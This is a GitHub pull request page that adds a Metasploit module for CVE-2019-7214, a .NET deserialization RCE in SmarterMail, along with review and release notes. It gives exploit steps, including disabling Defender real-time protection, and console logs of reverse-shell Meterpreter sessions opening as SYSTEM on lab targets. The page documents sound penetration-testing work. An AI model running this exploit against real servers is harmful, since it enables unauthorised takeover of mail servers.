Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

Add module for SmarterMail Build 6985 - dotNET Deserialization Remote Code Execution (CVE-2019-7214) #18170

Merged
merged 7 commits into from Jul 10, 2023
Merged

Add module for SmarterMail Build 6985 - dotNET Deserialization Remote Code Execution (CVE-2019-7214) #18170

merged 7 commits into from Jul 10, 2023

Conversation

ismaildawoodjee
Copy link
Contributor

@ismaildawoodjee ismaildawoodjee commented Jul 6, 2023 •
edited by adfoster-r7

Related issue for mixin/rex socket usage - #18060

Verification Steps

  1. Sign up to the SmarterTools website. Log in with your created account.
  2. Download EXE legacy versions and builds from a dropdown menu at Legacy Builds, specifically SmarterMail 16.x, Build 6970 and Build 6985.
  3. Install the executable file (e.g. SmarterMail_6970.exe) and follow the instructions provided. If reinstalling a different version/build, simply choose Use an existing site when prompted in Site Configuration Type, and select SmarterMail in the next option.
  4. Verify that the login page can be accessed at http://localhost:9998/interface/root#/login. Set Admin username and password to be admin:admin (or anything arbitrary) if prompted.
  5. Disable realtime protection on an Administrative PowerShell session with Set-MpPreference -DisableRealtimeMonitoring $true.
  6. Start msfconsole and follow along with default options.
  7. Do: use exploit/windows/http/smartermail_rce
  8. Do: set RHOSTS [SMARTERMAIL_SERVER_IP]
  9. Do: set LHOST eth0
  10. Do: exploit

Scenarios

SmarterMail Build 6970 on Windows 10 Pro

  • Using default TARGET 0 - x86/x64 Windows PowerShell Stager:
msf6 > use exploit/windows/http/smartermail_rce 
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/smartermail_rce) > set RHOSTS 192.168.29.1
RHOSTS => 192.168.29.1
msf6 exploit(windows/http/smartermail_rce) > set LHOST eth0
LHOST => eth0
msf6 exploit(windows/http/smartermail_rce) > exploit

[*] Started reverse TCP handler on 192.168.245.128:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking target web server for a response...
[+] Target is running SmarterMail.
[*] Checking SmarterMail product build...
[+] Target is running SmarterMail Build 6970.
[+] The target appears to be vulnerable.
[*] Sending stage (175686 bytes) to 192.168.245.1
[*] Meterpreter session 1 opened (192.168.245.128:4444 -> 192.168.245.1:55046) at 2023-07-06 05:39:43 -0400

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : DESKTOP-50BU5J8
OS              : Windows 10 (10.0 Build 19045).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter >
  • Using TARGET 1 - x86/x64 Windows CmdStager:
msf6 > use exploit/windows/http/smartermail_rce
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/smartermail_rce) > set TARGET 1
TARGET => 1
msf6 exploit(windows/http/smartermail_rce) > set RHOSTS 192.168.29.1
RHOSTS => 192.168.29.1
msf6 exploit(windows/http/smartermail_rce) > set LHOST eth0
LHOST => eth0
msf6 exploit(windows/http/smartermail_rce) > exploit

[*] Started reverse TCP handler on 192.168.245.128:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking target web server for a response...
[+] Target is running SmarterMail.
[*] Checking SmarterMail product build...
[+] Target is running SmarterMail Build 6970.
[+] The target appears to be vulnerable.
[*] Command Stager progress -   2.01% done (2046/101881 bytes)
[*] Command Stager progress -   4.02% done (4092/101881 bytes)
[*] Command Stager progress -   6.02% done (6138/101881 bytes)
[*] Command Stager progress -   8.03% done (8184/101881 bytes)
[*] Command Stager progress -  10.04% done (10230/101881 bytes)
[*] Command Stager progress -  12.05% done (12276/101881 bytes)
[*] Command Stager progress -  14.06% done (14322/101881 bytes)
[*] Command Stager progress -  16.07% done (16368/101881 bytes)
[*] Command Stager progress -  18.07% done (18414/101881 bytes)
[*] Command Stager progress -  20.08% done (20460/101881 bytes)
[*] Command Stager progress -  22.09% done (22506/101881 bytes)
[*] Command Stager progress -  24.10% done (24552/101881 bytes)
[*] Command Stager progress -  26.11% done (26598/101881 bytes)
[*] Command Stager progress -  28.12% done (28644/101881 bytes)
[*] Command Stager progress -  30.12% done (30690/101881 bytes)
[*] Command Stager progress -  32.13% done (32736/101881 bytes)
[*] Command Stager progress -  34.14% done (34782/101881 bytes)
[*] Command Stager progress -  36.15% done (36828/101881 bytes)
[*] Command Stager progress -  38.16% done (38874/101881 bytes)
[*] Command Stager progress -  40.16% done (40920/101881 bytes)
[*] Command Stager progress -  42.17% done (42966/101881 bytes)
[*] Command Stager progress -  44.18% done (45012/101881 bytes)
[*] Command Stager progress -  46.19% done (47058/101881 bytes)
[*] Command Stager progress -  48.20% done (49104/101881 bytes)
[*] Command Stager progress -  50.21% done (51150/101881 bytes)
[*] Command Stager progress -  52.21% done (53196/101881 bytes)
[*] Command Stager progress -  54.22% done (55242/101881 bytes)
[*] Command Stager progress -  56.23% done (57288/101881 bytes)
[*] Command Stager progress -  58.24% done (59334/101881 bytes)
[*] Command Stager progress -  60.25% done (61380/101881 bytes)
[*] Command Stager progress -  62.25% done (63426/101881 bytes)
[*] Command Stager progress -  64.26% done (65472/101881 bytes)
[*] Command Stager progress -  66.27% done (67518/101881 bytes)
[*] Command Stager progress -  68.28% done (69564/101881 bytes)
[*] Command Stager progress -  70.29% done (71610/101881 bytes)
[*] Command Stager progress -  72.30% done (73656/101881 bytes)
[*] Command Stager progress -  74.30% done (75702/101881 bytes)
[*] Command Stager progress -  76.31% done (77748/101881 bytes)
[*] Command Stager progress -  78.32% done (79794/101881 bytes)
[*] Command Stager progress -  80.33% done (81840/101881 bytes)
[*] Command Stager progress -  82.34% done (83886/101881 bytes)
[*] Command Stager progress -  84.35% done (85932/101881 bytes)
[*] Command Stager progress -  86.35% done (87978/101881 bytes)
[*] Command Stager progress -  88.36% done (90024/101881 bytes)
[*] Command Stager progress -  90.37% done (92070/101881 bytes)
[*] Command Stager progress -  92.38% done (94116/101881 bytes)
[*] Command Stager progress -  94.39% done (96162/101881 bytes)
[*] Command Stager progress -  96.39% done (98208/101881 bytes)
[*] Command Stager progress -  98.40% done (100252/101881 bytes)
[*] Command Stager progress - 100.00% done (101881/101881 bytes)
[*] Sending stage (175686 bytes) to 192.168.245.1
[*] Meterpreter session 1 opened (192.168.245.128:4444 -> 192.168.245.1:55099) at 2023-07-06 05:43:26 -0400

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : DESKTOP-50BU5J8
OS              : Windows 10 (10.0 Build 19045).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter >

SmarterMail Version 16.3.6989 on Windows 10 Pro

  • Using ENDPOINT Mail:
msf6 > use exploit/windows/http/smartermail_rce
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/smartermail_rce) > set ENDPOINT Mail
ENDPOINT => Mail
msf6 exploit(windows/http/smartermail_rce) > set RHOSTS 192.168.29.1
RHOSTS => 192.168.29.1
msf6 exploit(windows/http/smartermail_rce) > set LHOST eth0
LHOST => eth0
msf6 exploit(windows/http/smartermail_rce) > exploit

[*] Started reverse TCP handler on 192.168.245.128:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking target web server for a response...
[+] Target is running SmarterMail.
[*] Checking SmarterMail product build...
[!] Product build not found. 16.x versions and below do not have a build number.
[*] Checking SmarterMail product version...
[+] Target is running SmarterMail Version 16.3.6989.
[+] The target appears to be vulnerable.
[*] Sending stage (175686 bytes) to 192.168.245.1
[*] Meterpreter session 1 opened (192.168.245.128:4444 -> 192.168.245.1:55147) at 2023-07-06 06:20:19 -0400

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : DESKTOP-50BU5J8
OS              : Windows 10 (10.0 Build 19045).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter >

SmarterMail Build 6985 on Windows 10 Pro

msf6 > use exploit/windows/http/smartermail_rce
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/smartermail_rce) > set RHOSTS 192.168.29.1
RHOSTS => 192.168.29.1
msf6 exploit(windows/http/smartermail_rce) > set LHOST eth0
LHOST => eth0
msf6 exploit(windows/http/smartermail_rce) > exploit

[*] Started reverse TCP handler on 192.168.245.128:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking target web server for a response...
[+] Target is running SmarterMail.
[*] Checking SmarterMail product build...
[+] Target is running SmarterMail Build 6985.
[*] Checking SmarterMail product version...
[+] Target is running SmarterMail Version 100.0.6985.
[-] Exploit aborted due to failure: not-vulnerable: The target is not exploitable. "set ForceExploit true" to override check result.
[*] Exploit completed, but no session was created.
msf6 exploit(windows/http/smartermail_rce) > set ForceExploit true
ForceExploit => true
msf6 exploit(windows/http/smartermail_rce) > exploit

[*] Started reverse TCP handler on 192.168.245.128:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking target web server for a response...
[+] Target is running SmarterMail.
[*] Checking SmarterMail product build...
[+] Target is running SmarterMail Build 6985.
[*] Checking SmarterMail product version...
[+] Target is running SmarterMail Version 100.0.6985.
[!] The target is not exploitable. ForceExploit is enabled, proceeding with exploitation.
[*] Exploit completed, but no session was created.
msf6 exploit(windows/http/smartermail_rce) >

SmarterMail Build 6919 on Windows 10 Pro (Algernon from Proving Grounds Practice)

msf6 > use exploit/windows/http/smartermail_rce
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/smartermail_rce) > set RHOSTS 192.168.247.65
RHOSTS => 192.168.247.65
msf6 exploit(windows/http/smartermail_rce) > set LHOST tun0
LHOST => tun0
msf6 exploit(windows/http/smartermail_rce) > check

[*] Checking target web server for a response...
[+] Target is running SmarterMail.
[*] Checking SmarterMail product build...
[+] Target is running SmarterMail Build 6919.
[*] 192.168.247.65:9998 - The target appears to be vulnerable.
msf6 exploit(windows/http/smartermail_rce) > exploit

[*] Started reverse TCP handler on 192.168.45.188:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking target web server for a response...
[+] Target is running SmarterMail.
[*] Checking SmarterMail product build...
[+] Target is running SmarterMail Build 6919.
[+] The target appears to be vulnerable.
[*] Sending stage (175686 bytes) to 192.168.247.65
[*] Meterpreter session 1 opened (192.168.45.188:4444 -> 192.168.247.65:49710) at 2023-07-06 07:24:13 -0400

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : ALGERNON
OS              : Windows 10 (10.0 Build 18363).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 3
Meterpreter     : x86/windows
meterpreter > shell
Process 4240 created.
Channel 1 created.
Microsoft Windows [Version 10.0.18363.815]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>cd C:\Users\Administrator\Desktop
cd C:\Users\Administrator\Desktop

C:\Users\Administrator\Desktop>type proof.txt
type proof.txt
84b4****************************

C:\Users\Administrator\Desktop>

We will also accept demonstrations of successful module execution even if your module doesn't meet the above conditions. It's not a necessity, but it may help us land your module faster!

Demonstration of successful module execution can take the form of a packet capture (pcap) or a screen recording. You can send pcaps and recordings to msfdev@metasploit.com. Please include a CVE number in the subject header (if applicable), and a link to your PR in the email body.
If you wish to sanitize your pcap, please see the wiki.

@adfoster-r7 adfoster-r7 added the needs-linting The module needs additional work to pass our automated linting rules label Jul 6, 2023
@github-actions
Copy link

github-actions bot commented Jul 6, 2023

Thanks for your pull request! Before this pull request can be merged, it must pass the checks of our automated linting tools.

We use Rubocop and msftidy to ensure the quality of our code. This can be ran from the root directory of Metasploit:

rubocop <directory or file>
tools/dev/msftidy.rb <directory or file>

You can automate most of these changes with the -a flag:

rubocop -a <directory or file>

Please update your branch after these have been made, and reach out if you have any problems.

ismaildawoodjee and others added 2 commits July 6, 2023 18:49
@ismaildawoodjee @adfoster-r7
Update documentation/modules/exploit/windows/http/smartermail_rce.md
24ef4e1 
Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
@ismaildawoodjee @adfoster-r7
Change module name
f959dee 
Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
@gwillcox-r7 gwillcox-r7 removed the needs-linting The module needs additional work to pass our automated linting rules label Jul 6, 2023
@ismaildawoodjee
Implemented requested changes
1706812 
* Small fixes in Description - removed backticks
* Implemented Windows Command target
* Removed PowerShell Stager, in Targets and in exploit method
* Implemented Rex::Socket::Tcp in place of TCPSocket

* Updated TARGET section in documentation
* Added TARGET 0 - Windows Command scenario
* Removed PowerShell Stager scenario
* Replaced 'Using configured payload' lines to use Windows Command payload
  for the 2nd, 3rd, and 4th scenarios. Did not rerun the scenarios, however
@adfoster-r7
Copy link
Contributor

adfoster-r7 commented Jul 8, 2023 •
edited

Thanks for the high quality PR 👍

To the tester on the Metasploit side that picks this up, we'll just want to verify the module works via a socks proxy, i.e. set proxies socks5:192.168.123.144:1080

ismaildawoodjee added a commit to ismaildawoodjee/metasploit-framework that referenced this pull request Jul 9, 2023
@ismaildawoodjee
Change exploit template comment header from http to https for Msftidy
2aea7b2 
* Msftidy complains about Line 2 of the exploit template comment having
* http:// protocol instead of https:// protocol
* Reference in PR rapid7#18170, commit hash ad0d3e7, where Msftidy lint test fails
* to pass, but in the next commit 591fee1, the test passes.
@ismaildawoodjee ismaildawoodjee mentioned this pull request Jul 9, 2023
Merged
@adfoster-r7 adfoster-r7 self-assigned this Jul 10, 2023
@adfoster-r7
Copy link
Contributor

adfoster-r7 commented Jul 10, 2023 •
edited

Works directly against windows server 2016, as well as via a socks5 proxy sitting the middle, ie. Attacker VM (192.168.123.132) -> socks proxy (192.168.123.144) -> target (10.20.0.143)

msf6 exploit(exploit/windows/http/smartermail_rce) > run rhost=10.20.0.143 lhost=192.168.123.132 proxies=socks5:192.168.123.144:1080 ReverseAllowProxy=true

[*] Started reverse TCP handler on 192.168.123.132:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking target web server for a response...
[+] Target is running SmarterMail.
[*] Checking SmarterMail product build...
[+] Target is running SmarterMail Build 6970.
[+] The target appears to be vulnerable.
[*] Sending stage (175686 bytes) to 192.168.123.13
[*] Meterpreter session 5 opened (192.168.123.132:4444 -> 192.168.123.13:55925) at 2023-07-10 18:53:15 -0400

meterpreter >

@adfoster-r7 adfoster-r7 merged commit 5cb5c18 into rapid7:master Jul 10, 2023
66 checks passed
@adfoster-r7
Copy link
Contributor

Release Notes

Adds a new module for SmarterMail Build 6985 - dotNET Deserialization Remote Code Execution (CVE-2019-7214). The vulnerability affects SmarterTools SmarterMail Version less than or equal to 16.3.6989.16341 (all legacy versions without a build number), or SmarterTools SmarterMail Build less than 6985

@adfoster-r7 adfoster-r7 added the rn-modules release notes for new or majorly enhanced modules label Jul 10, 2023
sempervictus pushed a commit to sempervictus/metasploit-framework that referenced this pull request Aug 1, 2023
@ismaildawoodjee
Change exploit template comment header from http to https for Msftidy
b759117 
* Msftidy complains about Line 2 of the exploit template comment having
* http:// protocol instead of https:// protocol
* Reference in PR rapid7#18170, commit hash ad0d3e7, where Msftidy lint test fails
* to pass, but in the next commit 591fee1, the test passes.
JustAnda7 pushed a commit to JustAnda7/metasploit-framework that referenced this pull request Sep 20, 2023
@ismaildawoodjee @JustAnda7
Change exploit template comment header from http to https for Msftidy
5b34ba0 
* Msftidy complains about Line 2 of the exploit template comment having
* http:// protocol instead of https:// protocol
* Reference in PR rapid7#18170, commit hash ad0d3e7, where Msftidy lint test fails
* to pass, but in the next commit 591fee1, the test passes.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Reviewers

@adfoster-r7 adfoster-r7 adfoster-r7 left review comments

Assignees

@adfoster-r7 adfoster-r7

Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
None yet
Milestone
No milestone
Development

Successfully merging this pull request may close these issues.

None yet
4 participants
@ismaildawoodjee @adfoster-r7 @bcoles @gwillcox-r7